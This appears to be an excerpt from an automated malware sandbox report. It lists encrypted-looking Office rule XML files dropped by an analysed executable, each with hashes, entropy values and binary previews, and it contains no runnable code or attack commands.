Preview:	<?xml.\.#.e....XW..N..w..V#L\...e...=.j....."...d..A. .....F.5.S..6.....9......QY...n......Z..k.:-F&....i.....U..L......'...e. K~.-....:.E..&............. 0e..Q......O;.uC..B....@x.iTAV.1..:..,.2...'.L.M..!..z...w=V...7mQS.(.L.#~....../.-G-.4V>._J.'c.....)......F.;.j.?....JC...F:<..r".\{...&..s.y....H...,SDi<..K.\.3U.._......<0c..o..p..Y.....b.)a[.v..l.4Wb......K...@.....$..fh..:.!..S.5...Lx..\|.K.1yD0.....m.55..Au......3.r.....(....."...G.<A.A.a3.By..F!'PG.x..0o.....~1m...j.d.p....B%.Tm5.#..J.}.].I[.S\|m.....4k...l..3yJ..'N.:..x&0...\|."..k....b.......dV.i.b. ..M..P.."....2.}...V....3.].E.X...s}..:i{4....QqO!S1.....W.....A..(.. ...vB.c...98..j..Tp.N.....4.c...\|B.X....~f.\|.5.`.[..il..}qpF....13e.y...=....l^.Q.2.......T..CA...hn9\|....T.z.."c.`.BE..............9..Q/..w.u.l....kT..3.Ln^.1.A.........&d.h..Vn...<&..j%.....'.S...`F0...O..z&y6..?.....jS...7.f......X....9m]........mb..L.<JU.;...$.b...a..F...h.Ap.mc....."...y...i....RW.,..z.1...."I

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701850v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1704
Entropy (8bit):	7.878394744232412
Encrypted:	false
SSDEEP:	48:E4LJnbEpUxjknDnbQEs9rp31T48fbl2QvyKCr1iPQD:E8noygb8EsBJ1T1bgQKKCrAPM
MD5:	A879FB7843CF2AED413EEB45F6B69206
SHA1:	FD42CFAEA6D7EA6A836A0B82489B04510429D29E
SHA-256:	6AF78C636916645A0E84623209F6EC1C92AF5B0389FE0579A121C02100577273
SHA-512:	27FE2BC9A15AE8D7E4473E63E42FA6B445D4651CAC82AD8D4AFFC47EAD168B485674B893C0DB3B2341CFAD06E530E6378BF319EE612FF329AC489804DD593263
Malicious:	false
Preview:	<?xml.e...".D..Y#.E.w0.=...z..4...ut..t<d5w2.....f'".].Ew..>j.mLR.Hu=?...e.dW.].......2.....^.....0..z.9...=..%....3&..F..<.x...,...5P.. +....N-.;ULa.I...J?C...g}...T...@^..._Z..l.Ou.d-.7.!..P...........V.[.Af\@3W-...~@.L....d!.j....b.8..OG,g..".+"@..lqQ44.&...K.....;.u].r..mU....xxl....?..Q......T..P..>....K..I.j.,..$k~..s.....%@.=vp......nkHu P...m..(".1..W....N..9..H..h,zJ..#.!....gXE't}..TC.h2......vj..}/p..<.DU....o......83F.....RH e.Cs.....SiAn.&....$......gIQ.e`i.Hr..U..?llRP%.,...NzA..`.G....Gx._@..F.u..E.w..g...@..~.V....e.W.'..O}8&:T..T.%.4....._.5.5.....E.f..pf............)...7..3...\|.F.w.J....0.....\.m..Y....a....Nu..b...W.h\|....3)..gX....r...p.~.\|ce..mHg2.B[(.w{........@\|${.......}1...,..n.-....z."..G..;.\.....)..5s.jh..h..#.U..'TxA...D.i.:~...F.{..P..@/...N.....N....]v...P&..........OvT.Z.+.9..X....q.,.lGpNq.,...C4...5{.....M7..J6../.........!..cD ..`./.u(Qo%J......5..2~..A.7nJ.....z.99.......[+..'..I...<\|;TJ?9..l.t.%.Ho...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701851v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1741
Entropy (8bit):	7.8633945887927315
Encrypted:	false
SSDEEP:	48:lNok8rpbsYyGXPIKOVscC4TNVRw/SnuDUzChsD:joTnyGXwB2Wa/Snue
MD5:	974EC7C83E422D45C8930B170845344E
SHA1:	F94DE2737B93DAAA750BA3113E4F5FF45C900F86
SHA-256:	8E1ED0EBD212FB28CE6F49A6AEFE3BDF99918C4ED937BE3C24E34006AA92A563
SHA-512:	91AEC77AE036C66A7B8FD4B9E844876B4FC1D5371C6013F17795723E7F3C04F0EB506773A93000989C1A5503EC668423ED524EEA031FE46CA0B77385D774EB91
Malicious:	false
Preview:	<?xml._L...d.M.....A.}.MX..Ck.#."5..u.a..y.......2...........Zo..QP...U.c(...HQ......&...>.....Pa..U..R..M..l..F.G0TG...23b..7....e(%@.....YG.....w ....D\|..Q..#(..6d..B9$0...3.7....._....p.D.2.x$.+.W....oEI.Pt....Bar...L\|.5...%.9#I.~QM.+{..:......-T>..R.]Mx.......M.......".IK.....lp,v.KkAJ\.j.....e.z?9.3%Y$.8.2_;....>..e.....%.e....\..J.:..L......x..4...2..c........x..N8,.D.6]..\\|.?.S.>h..E...4.._.....!....H.&.u...(.+i..tr 4.B.&%\|Y.K....lB..V...:.2m..jO..$<Nk..5...).E....Y....#:R.'.Km.....D...b...i.n$..~.K.....B.m5.E.zKH....8.!G.M.\......~..%....;....D.W.p@.X{..]....KT...c.~@...V.d..aR.jG...=.E..B.pq..(?m.. ..../.r......:B...,.nM6....J.!..00N(.Q.....=.b.=.DS..iS..5.r......r...f;vMxDsxDAS....yi8..og.I.&r.Y.\....T..-.F.M...Q.....l.DC........^U.N.y.LJrA..D#..Y...q.Lzsf...2....i.P......5.s..(J0..A.v.....D.....Te+....V#.P..(?....7ml...!y"\>.w....%.l.7.:...4.<o...>k....]h...e\0..yBNiv.89/.r.&W?Z.s..._w..w.d.>+.%.2z...-H.?.1..D.d3.#.6....#Y

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701900v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1703
Entropy (8bit):	7.882045440543046
Encrypted:	false
SSDEEP:	24:PJFLnz2y8DvZg4R6LRLwrj2zICSqhbpwUqeUZo4EYprk9c2gcKRaeDlY8AzhTAqj:PJFLqv6tLwaSqtpqJhjHcsVmTAOD
MD5:	CD46542EA642E7CB6E33FC16034CFAD6
SHA1:	DB40A3F07A068E6862EB969D8301DD2EADAB6BB9
SHA-256:	962F30B595D82891CFDC357CB6206B75C813262C825B13339AC963CA6990543E
SHA-512:	BDBFA7484FC1596AA0F73F448BF627C0D7D164B062082C73457C4A6FCE7288A02E03B96A2126DD9AE133B84D24B1F1F8F222FF85DB3A90EFAC4616D7B4C00EB9
Malicious:	false
Preview:	<?xmlD.9..%i.gN}...$#I!!YWW1.\|g\|3..../..]...".((.sXx..........g./.A......kl<u.\..N..../..F...G...[).9....I...H6..;e.435U..7.....T...5...........0..e$...\...RT.....e.~K8..`....0..t.K.........SD.1~.g.....{,L5...{....5j...e^.'.............B}.Ec8.%.-..V..........W.\:... ...v..v.Sn..,....?)~Z.)..$}.....y.0pe..P..Ue7....!z.?j..(.8.y.3..c_...MvBW..x0..Ns3.eCe.^u.....]j4X.X......rrQ.S.P..1Gd..a....{k.m..C....'...E...jO..].....(...f....&~..~..-......)...........e...N.n/.s.8..kW4g..z'..YSR.hH....IP.I...FI$:....O.f..jC.t...+..R,.V.8AW.%v..X.".?Y....q.....BiZ...$...o..7S._.V... A.a...Z..RyP.;4`...C..P}#...$..... ..-Y.<.p4.._.[.S......q\|.r.pp[...n,.........^p.).P["y..i.6...".....^\Ao..z0......W.8..\.+.<<.0.=...Z.u..u,.%..N..^?0.b...k.7....G..t.d.&.d.R.....:.a.+'&X....,..e.l.iU..?.5(h'=./B.A....q.V....Z.h{.,.........Y..H...{g.$..y.......C...*.!/.a...@.F..... f....k5I..5#..gl]..0....\|.....7....L.....X$D@!m:..o...s..C.Z.....&.}1U."........qPD

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701901v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1740
Entropy (8bit):	7.875210901887571
Encrypted:	false
SSDEEP:	48:SJfPu7ic6N4MXynpJXi4kZymhp4uZlyCetyIJD:wf1eGyMz3p4yktyIh
MD5:	FA55233D378245905A5E8A24ACB680AE
SHA1:	D1FF1678FA757BA366D253E9F0225D5DCFFDD8D6
SHA-256:	CCA242C1FC4614AEF335B8255DF2CE3FCD4F782144401926704C8F15B0E89BF1
SHA-512:	4CD7AF37EE2729C4C220A6C144BB3C0B7988C8143CA7671781FBB00EC719D998560736D504DF5D3AD889F0B2C7EC9F6DCD099DFA39EAC344A2C88FA01E7E959F
Malicious:	false
Preview:	<?xml..6...kD..S..%......@...yT....Mt.K.O....z...U+j;$.l....._FJ...S1........yUk..f......d4..$Jl&..qg..d..d..R...r.W.g@....._...-.nb...w.._.a...8...Bn....`.W...3"5q'..9....?.CfGs...F.xS.if..\..e.......@!.8.tL........]JWtPO.M...}U(e......2..1.t..../.PwxO).Y..(KE>.....Jo...m..NV.>..{#..'.2t..:pK....<v.D.27..1..0..Z{.`...p~z...I.yi.p.......I.....T.....c...t..F..;..U......E.../.!........o.m...I.x[..A......%. 9..B....-..%...T..b.8(<\..\|n..%.Y.h.......p......8.t.O.s.d..E..FS{.H.."...\..L..]j.q"..7...)pSz...ek..3.......C.......N..'.bI..0n.....d...\|..M;G.@...l.a..h.7j.!XQ..3..: .4=...........X.uu..)"...4...RTO/..Tq.e..............O....N....nT.......J....\.7=......2.....d..N.f.``...S.DL..y.,H.....e ..>8w.m:.r...s.....O8W`..V.ej..-U..(.q$....C.&.\F'..\|x.L.tT.....T}..6p...\...8..j=.k.xC..2........../F....C(.i!..J.X.......-H.......=:}......Q.V`....l..!..apm]_N.\N....x2.1:...d?..tHJ..Ab.p....N9..N.p......7 r-./......9.o.o....!\|...P.X.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701950v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1713
Entropy (8bit):	7.88545783750636
Encrypted:	false
SSDEEP:	48:Fm0Sru9dv9SRmh+8Rc+MBHz/a4OaSpHYnX1UIw3D:szrWvoIh7+Hz/DOaSaX13U
MD5:	9498244EB12B7211E6AEFB7E6EEB0750
SHA1:	EC97BADE6292B43BC2CA698B8E0D0A3297723364
SHA-256:	565EA4049336938AD54C5D940C8CE8DDE8C05547CA2C538EDCA96CB492A2A665
SHA-512:	47C0E99BB97BB4760DD729E6C19880CEF34633225F258951E3650AA0E11A87DDFD87D8E8E05583FAF1133AA51AB41D3C6AFA4D2C00D111C85D0D1DB9BB79F2AB
Malicious:	false
Preview:	<?xml.6R..ua^..O.V..h.t.[R.7[....`r......h47..h.....ce1N.g......v.s..h..At..10cGq....5.....M.$S..;..G...Z....}.o.J......T\|....X...'.@?.&WI<TJ._.....;...~f.......@.u5.Z.e...:^....F...L.6..).B...}..S....,.o...l.Mi...k..j.[.-..5...Y.@._..P.T-^.y.v.vC..+..o1../..(.^...~....{.:I......J^m..f.F.+G;\?.P.....rdZviKi`..<... xW..P3u....>I.....c../.........9>!U..........}.$\N3..n.#o..v..).8.>..c;.n......K..[...K=...X..I.4.js[H.....!.p.2...(...F...=..?7.s.Q....[.F..{...c.d.k%.g.W.<IM.].........u....o.h...[Tm.....z`.&..>.................K.....\|..z....{...Z..[...k.s6.3L.E......bB..JJ..t.a..b:.......(?...4@.l...n8p[.`...s.A.v.()b0d}.......r.(q.-.C../..:...$.Z..."}....a.C..'m.U....zl.a.^Q.......e(.3.w.s..J;...mjp.....~.HZ..(..,....8"V...."]....-@.Jw.>.Q.e]._..5.<....;.....ry..C..Z.`...>^..~BH.M?.d1...T\rP..*.t.$...k.T.N~b..P......S>.M.:/....SKNy..8.. ........p<c.G...[..e}..k.p..VN.:./A\|.$......:J...-....s.SS..k.c...._Y...Exs.../..../..P...0..f.{V.m........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701951v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1750
Entropy (8bit):	7.882598271923084
Encrypted:	false
SSDEEP:	24:2CZXq+rqAc37re+V+CZy7Z4TInuiMrPR5ilAA+rCiLnlQA+8G+I6DDhhMF7HAbD:2CZXqOw7a+Vj44Rr6Er5LnlG+vDhhC6D
MD5:	4F45301F68C945EF72BE2E8054416620
SHA1:	A7D91A5C30D85C8E8AD8AE2C56E0D2631EFC7165
SHA-256:	675F969A933F4E845C1D4EF9CF147BA3EAD789E3ADCF643B82119BF49B20F437
SHA-512:	A6E521700EB9C8CB0BB6491F99157BE6EEBFBA4DA0E3E96A26C9F3D5C5ABD54102C825B9FA3634E8BE5B1815D5829E2CF2E607E0D52ADCEC8B356EC561F0C505
Malicious:	false
Preview:	<?xml.....Q....g.j.!\5EN .....M.k...Lw..N....P..\-vy.R.k...%..ym.5......nC....{.O.O.U4c.=n.i..8...T.E.9h<...^.5G...4;_..%F...;..w..T..y.....a2.)..f_.....b.....#. .Le.%...N.L#..#..{uJ...<.._.,...:..H...5..6..-..C..\|....0....@.f.z..>.s:.xS.T..T..n..?......01$..@5e...R.W...77L..[...0..mq..0.....HS..,2t.0,.>..#R..^...n...3.s..F.XX........~.2Lu~,L$<.?..%.C.....w9..`..J$K..Q..NUs.FH..6ZCX..K..Kd.Z...i2...R.b'V=dr(...U.....:<^...N.2...b.7.x.qRm..^OQtp....$8).U...s+.v...X.N....8....@.B-N....O<j./...q...%.1O...XzP...t..J.3..U.....gK._..i.w..L..^..5$..t.5G....%w5Pz/.....I.Q(.T.-\|.4.v........\|^.ve8A.\|3....\|..A.((xM.6..u..$M.E.G.r..!.3..i....E.!B..k3.....V.3.T.....is..-xa....K.........m...Bf.....d?h.....xZ.k.od3.....,.lSyv.:m.?......~d>.Nc..v.j..K.....I.l....L...[k....Bc.8.WD.x...9......O.....e.....%(].....D..gJ.k`...8.t.0....QG.`Pc.........!oq.{.(.....Kk..W~g,......n.fh.Bw.+......*.E..?d]....(.i.e.Y...V..oUD9.`..l..T....'.7.j...MJ.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702000v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.892620439017394
Encrypted:	false
SSDEEP:	48:45kgTpc8FfC4vHQtrJNEMiE1waEz0FFrtlD:4BiAvwC32wa6UFn
MD5:	232FBC69878DFBCE455DF08F03480B6D
SHA1:	0168633C6290E0D0790EEDAB28A8442466861C0D
SHA-256:	BF01CFED4AAF7415FD09863B8FFB3A457A9686091678117D108CA2A0246F6423
SHA-512:	0D4473A1C440F65A07DEAD94584BD6689B01185DC5856376DC05C7C474D10D8AA79DA881E15CD2BE7FCA8D612336E48860AF480FED04B3ABA5592E32BC4800B4
Malicious:	false
Preview:	<?xml........u..d0....B".0`....].h.KK;.l...Q_..W%%g...~k.`Q.a[..s...<...Y...$-.Y.......Xg..b.dK.39R.l\|.me..vz%.r.@.6.......x...#&'_...R....@.._......;0...../fN`..y`.Y.%~%CU._.g.]}../..\|....$..-. d..T.x......j....=n.......\..1Z\..A#.. ...4.....\|B...h.....k........8......r...+\.......b5.....hA.......;..,...MP....i..Z1.)..dNQ4...q..`..z9.."#....&.....y"..d.q..^...C.;..i...>7.....\_#...TN.7.....AcB........C......7..[.k!.j...).7.....V....ao,...B..u.`....o...pepL.e.k6x.o.?...&...h.U..'ICJ..0.0z;%.7.....c%.hs.oKo...1.Sa..i...+....F.$.j.w._..:]S.T.E&.8_..H@....x<...p..........D..&{..D>..!..=..(.bCL.s."-.>.].V........b.......y..>........C..b..;l....:.I.Z%.RV...........Ft.U...t}f.B.....d.\|.M".`Y...3.~\|...V.T./Fo2.y.?....,.lY?.7`.......Y...x........=$R.l......fd..-.....>.n....O".al.?.':'.H1..SL...h.Nm.lH......q.L.*F0\E..Ph....e.#..D..{m...x..`..X.e.......8.#......m[..K.....I\..>...u..\|."e.>.u?.m..RM..."z.I.6j...e..%....Ja{T. .UV.u.?v.....".

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702001v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.883740482597717
Encrypted:	false
SSDEEP:	24:xo/+7VjzI2/c8wKBcDDdrlSv4cqLrkc+b8nkSHYGSgnSBMfSI2HbD:FjE2/aKy7f6blsRSdC4D
MD5:	85E06862FF19D49C160F731236D0A355
SHA1:	F33EECB218A2F6013F8A02FC092F01464253EAE8
SHA-256:	2124679779F1B31F466B6EA60BC7E0E9BFF11463DB34E8EEDBB7E910945209F7
SHA-512:	E2DE36FB95BB6F4F72EEC90EDBA10FACC8831CB796861967C51F5EA11CF203E1878CEDF2227685EF98EF18684E056E27466CE1E7CCE33A0E0DDB59ACF79C63AE
Malicious:	false
Preview:	<?xml.\SG.IY....7.,..0.-.....Y..h.=#.r<.......z..f".L...K.'...9.i..J9{.).......L>.W..=.Me.x.)./..H..dFk.M}N\|...L...P*8.+tCu..<VD..F.x..oQrG._j.H.uC..V......\.p..K....w..P...e\|j.)...j..<....oO.A.c........m..f..RG.......e(..~ygI..._..--tg..L..Ju.......%h.86.<+.C}L...+..Co.aT....1.=q..-.T......z.`.......<.R.Z^...../>.b...\|....a.?.2..g.......P5....Q.#9p=...!.B..=.G.4..J.]..!i~..,Z.M..<..o5....0.G[W`.!.H..v).b...S..8..K.m...J.~<~.eQ.....t...wB.L7..g?r.m..../....]...G..a.....B1.>....2..A..,..q..8.._^.s..O..;..s.y.............n"....lk/.8.DH.3.z.7........>G.B.g....D{2...AQ...C...........S..i....7<N..4..3.q8.o.6..D.K.Y.......]....DK>.6.CZ.<..li....X..6b.......B+z..$......<c.I.6o....[..I....F.a~......9..t`.f..)V.../..Z...:.....$6v.).+.\J.\.....".....Z0..N.mP$,....1t..u.....>z."...h......%$....M..Z.b.).<oh.7y. k-.H....7K..OJ.50..\|.....0Ig..Jm..#...}$q...R........2.....V].r..dp.MO..,f.sX.6.....S;-..6.Q..........(jGc......._...W.s../F....k

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702050v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.873381256361212
Encrypted:	false
SSDEEP:	48:6skB1X8tHgjRUwersMz1UN7P+CKBuZaEolTWD:SB1X8WjG7osaIB6aEv
MD5:	EA6D34D3E61C628BBAB999BB6BCD5E0E
SHA1:	CFAA46138A640FC3A424612AA2966099EC0C49A1
SHA-256:	30796BEF29A979518C88C0A1AEB4D056A8E8218C0018CC0D2DE7B7599168CB67
SHA-512:	D4ECADD50A19202514868086D49DBF8076B5259993AA909AC9A06848B1CB7E304D44764D397B448372F8FD4E92CF86F2FCF30FD8237C871B745B55A5398EA2CB
Malicious:	false
Preview:	<?xml68.P......,...,....@....w$.G6h.RB.u0gE.7..UiY..n3z.q9v....0T.{...........\|y.:r...+._....>....m@....q.g.....+...Z.B....{g,YST.....Fn.S.......9..r...\&.\~......p8......0.. .0.Rr....<........T.....>.:. ..`..j..[..D.jt.c.M......{.8.^..KI%.?+.].T...... ]..E.g+Ng.U?../.YMy.N.!.3.../.@..9..o..g.O.....{/8...Q.I.uL.t...A.....]..-v....n....\.,.]..+..LZ..WV../....a."..}z1KuQ....G..u.Q.i .m.6v....-.h......O~1.(gG?fL~.l......^M&.=C....zml.R..<..1..a.O..L.Z..9)...tU.:..........sS.....iO...&..]-..W[......5.I7.....{o..<.d.W....1....6..0..0!'Mh...{;7<hk<...#.V.-g.V....&;.'K.=....X..S`v!Q....r,].i.....U<.....3\|O.D.k..M.LU.Y,...>vI...~......!D......l..,..r.......Z0.-`$x.k......5.. ...O&...`..N..:J.....=r.Z/...B..A.4=..?..u.W...F...2_*......Zs.z...W...l.2.Y..a#Ahdkw.>...&.U....S.....L....>%.=x......D#....X~F.........XVR..r.9.%.F....-..3.E.-x...2...4..QG..W.sVK..&!2$.g...0/E.....Yme ..`y.....s.....R...D..R\...X;..4.W.C....h...F...xS}y,I6)

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702051v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.901443513705793
Encrypted:	false
SSDEEP:	24:PWmfjdz5rcYwWgZrcI5rQ9X4r1vmKbTKWErhJpihi67IBu/L5waFftYXjvGOKJIL:umZzpWWCr3uW8npd6sBEFf8KsD
MD5:	4039E9C01B57C8DB0C98E4EBF2CA5628
SHA1:	CE9B74E133A0E394A3CCCF257E36A5DB1F39B5CE
SHA-256:	62D2B250C9296989CF1D560436ACC6C6ADB28A0A6381ABC0B1879D0938825A09
SHA-512:	4A4654E99F516ACC74AB9F5A03BAF86453358E4ADAE336B6B5D5B7019309D9D100D707A30ED901B59E39D34F73B4E6D0C53D0C1D0E863FF67F4671F98739E37B
Malicious:	false
Preview:	<?xml.X.n.N.=.{.s.I\.d....m.3B..:hK......H6rA..O.....D.....7....v.}._fX.=G..j.#..qfH80?.....$..\|..W....^A....v.<.0Y...8k.J..v.u..A...[.].. aU. .z....o..../...........>.?%"1V...Y.V....}..!.&#.U..6.s....-......"..%R..r..n...jx&.../.W.....)._..I}.[u...][[.\|.!.$..b..;....,....V._......X...D..R....X...w.f.....\.............4a.z.'ZS\.A.EOq..........+\|@.c.hh.m=p..`n.....}w.M.cn3B.RW.7!.k..dU......(Kg.4.....#.X.z.%l...f.7m.ag.......u.85...7nhy.<av...$....9.U.H..<F..`.{..h.v.jo__R.Z.6...:....:`.[O..jA.._.=...9.w.m.....M...;..HY..bA..t......F+%...<J..X.D.....V.{..M..4.f..4........ .fR....z.....-<....^.5.v.......M...}#S....z..a....-Y.T.8......}K.<"... ,...b..M.j.sEr.*$....."..J.)...v>R..`.U[.%...}..)3/....@..g..K....~.....Q......A..%. .mH#...Jc..2...G1...2Ml..$..l....{bS.b.$]..atC.h...^..A.....L'K.w..nO9m.'F.......A.R-_..2..$....D.m......-.A...%..Jl..\|.3..uN.!.q..`@..B..x^..%.%&ZJ.s..a.m.....c.H...`...Q#..F`9...3.e.....l..d.......])?.a^..v.Cu[..\p..3.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702100v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1704
Entropy (8bit):	7.8848889518396605
Encrypted:	false
SSDEEP:	24:sG99LUEcKJ9lfZ+wH/olClcelcWZ9/21+lfYFAjFlaSfSmWdOrDExKItbbkKBz7K:5OKzT/olwc2z9llaAxlaSKxdlbbQf7D
MD5:	D97F05A31E53B1194EF84AE6DE53778E
SHA1:	601E0D40B7DE3B3C7EC23D71581D5A3B946A50C3
SHA-256:	0F1CB33D97AC906AFD4C8C1C6EA065568DBAE74141513AC4A94B6DCDB17C83A1
SHA-512:	A472E670CEFDEE883AFE4E856325A8A22D5F7809A293CF95549C3A59C1835AF652D38ED67DB98F991C377BAF0005C43129A44333A1A050D99D860B58ED7FAA00
Malicious:	false
Preview:	<?xmlcl.S..i......\.J...\...<3..k....dd..h..........v.v15..H4...<b..r;..!....c...$.x7$m.[#...zm+<...<.~Gk?.D....3F.?....@K./\.k....7....ca....Hd..i.?...;..i.;-.k...oUU....@j@....x.uz...s../8..SL.F.h..6..q....Z>z..@......B.).....mt^.e1.....$W..+Vf..23..`...\|......B6 z........r.......1.. ..^.............L...?7...<..s..Q.A.-.......P....Z'....<......S...3.S:N.}.i..p....g!.!......P.d....i`.B...=.:.z.( ...0b........*S...L..w....0.ate..s...j..f...l..S.....n.......O...RE.u}q...ID...}GTE..;YX.1.~...h@..W...!.&B....p.r.4rd3+../RZgP95.W.H.........qp.E..M....F.?9.....G...O...........N..y.v.`.................Le.."..63x.......s..D-.P.G..3k9.@[........Fo...+......GZ.h.Eo).+x...w.M"<.I!.....&..a..w\|.w....Ie.".X.D...g..RG.=.(.9.4..%..%.h..b.Ap..kr...K.2.h...4.N...mL.#.I.q....H=.u..P.t...~\|....D.M9.Wg........W.Y...,4.X..,.\|...>n/.z.....a.5'.h..3#p..f.0.!YVU..-............j..Fb.}C.V....yr.H#V....=3...U....X.8..X=.{#.p~~.a&i..5{iq.k...{'.l."Wn.... .

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702101v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1741
Entropy (8bit):	7.870981318636755
Encrypted:	false
SSDEEP:	48:pqwUlxPv0Wilyx0u/ievyUaSozVFQqgSpcdD:LCxn5ilXu/iAaSozDQJSpM
MD5:	84F61D42871AAAA23486C5544CABD76C
SHA1:	5FEF8AE0B81756F1E3BE61706A7FB3C3CCCA4678
SHA-256:	CE466324C84ACB2A30BC1412186D1C698454201F4DA8F3ECD76EDFDC0A4A258E
SHA-512:	57CCEF19402E8FE9980D2C80C8AE93C95A474653FAB8ACEC9867B9ED7D05FF375DAE4DD1FD60ADAA70EFCC901729FDE470A45B7B1A6EEB56D6589D55C27D9FD4
Malicious:	false
Preview:	<?xml.....Q/.X..3.qa.......+<Cz......$V+?.............N.k..44-.A....M..\...n/..~Tb%C.>.?.`.......Y.......Y.#H.,p.h.[.......;.X..`.i0.a....q.2..lC....O.....Ybf@Z.&o......4.....Z.l!.,..T`.I..eQ....V...G.D:t.->..s......K.....B/..o....S.......h.9..d..YI..o.q..xU..F......D...F../G.[.v...v....V......u..7...}EI".^..Q...>...9..a.2...XI.k............>~....%....6-~<,..sI-U%.....~2.C....M..w...d..M.CaxP.......I.."A=..x..#.!C...E....&...7......NI..d..(t.l.?i....Dp..'. .b...s.>........"...J8I..4..5N...M`.hkD.LAg...G.n...E=.}.D..?r....u.......Ts.V..5...5.q.X..G...!..aygl..2f.~..NO.....l.@..,-..v.\|i.e.;$.v..V....m....WF.....Q.p.....e[).u.Z....j.~.xzk...HF...6.k4L..k.9.....K......?.X....<.}......c..1.s...y..P..3.f...-...9.qQ..=...cM3.u.iH.}..A}ss.y..2.......l.....5B......q..x.=..Q........l.K....\|54.m.m.;>M$.[I~C......u..p{.7.z..=$y...cR.mM..;...S..=+..$.[...H.P..w.6[......L./=......TV.t...0...O^VT.bS..0tF(...(.....-.6.@.7TK .}md.3.s.#.Fb...=..H.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702150v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.888588667369136
Encrypted:	false
SSDEEP:	48:Z10jgWjUP24bVwl6Xi4Pj5TzShrlEzIFUsUQhs4udLUkaD:jQWOR4P9mhpEes7dhy
MD5:	42353F99B0F512622AD749FDC05D6DB4
SHA1:	6E845CE23691D2550D2C96EA0AA73FB94B7FECF0
SHA-256:	B485F59CAE91C052129ED9BA30298D8DC40010B3EDAF3190C6A8E1965B376F07
SHA-512:	FAEED003A17887990CA564A2284DA18429099009454C0276242CF19B71C8A29FAFB6BE7129BEE8BDF59990A12380228C85DDAA323551218A5787FA8CAA09470B
Malicious:	false
Preview:	<?xmls~^.......7Q.Y....@....9a......2.D.4.s5.C..._ug.{"..f..\...._..uQ.k^_.!...2.Jm.S...>.=...H....D.b.C3......E.Z.3.r.xO2.).....5.`..Ti$Tt.{..v`Y..ve.[.f&........Cl.b...l~h..H!....U.....G6.}.).{Z.._.g2s.....YZd..(.D.1U.5..O.B....jI.....P.f&..QX.d.%f.W...y.7.{N...W.eq.N2!.r.W.M.].w1...X?S.V.V.s..s.m...........tv.B.Lz-.C.>.f.!&..$..z..Cf....KR....d.....O.....8...=c-........L.....P..f...u[.D......G..7,4.NQ.K.\V.... -..I.x.W.%vN.c....K.z...a.<...........\|9........w....a..\|...R..:.Rl..R.f?(.=.}...C..XP.S.owJ$..........K...>.U3.L....K.j...,.a...\.w..=.+..&j.H...CJ....,.;.......1.0...Gw.'W._..B.Z.K.\|...>..~.h}`...\|JBo...W.X../=..;.s..g.N..(..)......:.!....vU....%K...P...F...J.Z..e..f.6g.p.FU.........t..P.?.Z..p....s3....j...'...s9....,.pX~~..\|.....d.....G....>.].[.p.?._........Sj...`.l..3....h.:;....Mj.....sb.U.4.h#m...#F.f..^ qlJ[GQ....3....?....Q.Ar..xF..(Y.(...QpT..y...F..Z.....%.[..).~...JCnV.Vw..n.f<DH.=...k...z....GVM..9.e4h8D..=.y,.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702151v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.882987577793494
Encrypted:	false
SSDEEP:	48:+gn6pFNuZ/1AXu30SsFxPhOa64AqL2ZrGD:B6Zup18urwIa64ire
MD5:	055B07FCEEA3214388D8B741EAA90651
SHA1:	D2E1922DB2188814BF8D9DCAAAF24B107870439B
SHA-256:	4E0BDA26D0165097C82ECA3462858D03038F0719D731B5CC218B5E3E11B2091F
SHA-512:	F98BC0CBEE41C6FC36BFBC6036CF5DA7BD17AA89DF124BB3C21A48D1A84564BDF734F91DC5F0A3C4D4F2FBFA034FA1E2D1EDED91C91A235244F2962EDB8824F0
Malicious:	false
